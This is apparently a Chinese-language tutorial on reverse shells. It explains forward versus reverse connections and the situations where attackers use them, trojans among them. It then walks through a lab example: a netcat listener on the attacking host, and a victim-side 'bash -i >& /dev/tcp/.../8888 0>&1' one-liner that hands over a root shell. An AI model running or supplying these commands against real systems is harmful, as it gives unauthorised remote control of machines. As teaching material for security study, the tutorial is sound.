反弹shell(reverse)是攻击机监听在某个TCP/UDP端口为服务端,受害机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
概念
正向连接指攻击机去连接受害机开放的端口。更多参考:什么是正向代理、反向代理、透明代理反向连接指受害机去连接攻击机开放的端口,反弹shell基于反向连接实现
场景
受害机只能发送请求,不能接收请求受害机端口被占用受害机IP会动态变化,攻击机无法直接连接- 对于病毒、木马,受害者的中招时间、网络环境、开/关机都未知时
安装
Ubuntu
apt install -y netcat示例
攻击机
ip 地址为 172.17.0.1,默认使用 netcat 监听在 tcp:8888 端口
$ nc -nvlp 8888
Listening on 0.0.0.0 8888参数说明:
- -v 输出交互或出错信息
- -l 监听
- -p 端口
受害机
ip 地址为 172.17.0.2,执行命令:
bash -i >& /dev/tcp/172.17.0.1/8888 0>&1参数说明:
bash -ii 是 interactive 的缩写,会产生一个交互式的bash/dev/tcp/<IP>/<PORT>是一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是bash用来实现网络请求的一个接口- 打开这个文件相当于发出了一个
socket调用并建立一个socket连接 - 读写这个文件相当于在这个
socket连接中传输数据
- 打开这个文件相当于发出了一个
此时,攻击机 内可以看到已经连接的 受害机 的 shell 中,如下:
$ nc -nvlp 8888
Listening on 0.0.0.0 8888
Connection received on 172.17.0.2 37646
root@582fd9275fbf:/#